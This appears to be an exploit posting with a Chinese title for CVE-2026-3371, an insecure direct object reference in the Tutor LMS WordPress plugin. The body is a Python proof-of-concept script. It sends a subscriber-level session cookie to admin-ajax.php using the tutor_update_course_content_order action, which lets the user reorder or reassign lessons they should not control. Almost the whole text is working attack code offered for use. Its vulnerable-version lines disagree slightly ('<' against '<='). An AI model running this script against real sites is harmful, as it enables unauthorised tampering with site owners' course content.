CVE-2026-3371 Tutor LMS不安全的直接对象引用漏洞

import requests # Exploit Title: Tutor LMS < 3.9.7 - IDOR via AJAX Handler # Date: 2026-04-11 # Exploit Author: Analyst # Vulnerable Version: <= 3.9.7 # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with a valid authenticated cookie of a subscriber user cookie = {"wordpress_logged_in_xxxxx": "your_cookie_value"} # Payload to reassign lessons to different topics or reorder them # topic_id and lesson_id must be valid IDs existing in the database payload_data = { "action": "tutor_update_course_content_order", "tutor_topics_lessons_sorting": [ { "topic_id": 1, # Target Topic ID "lesson_ids": [10, 20, 30] # Manipulated Lesson IDs order } ] } try: response = requests.post(target_url, data=payload_data, cookies=cookie) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}")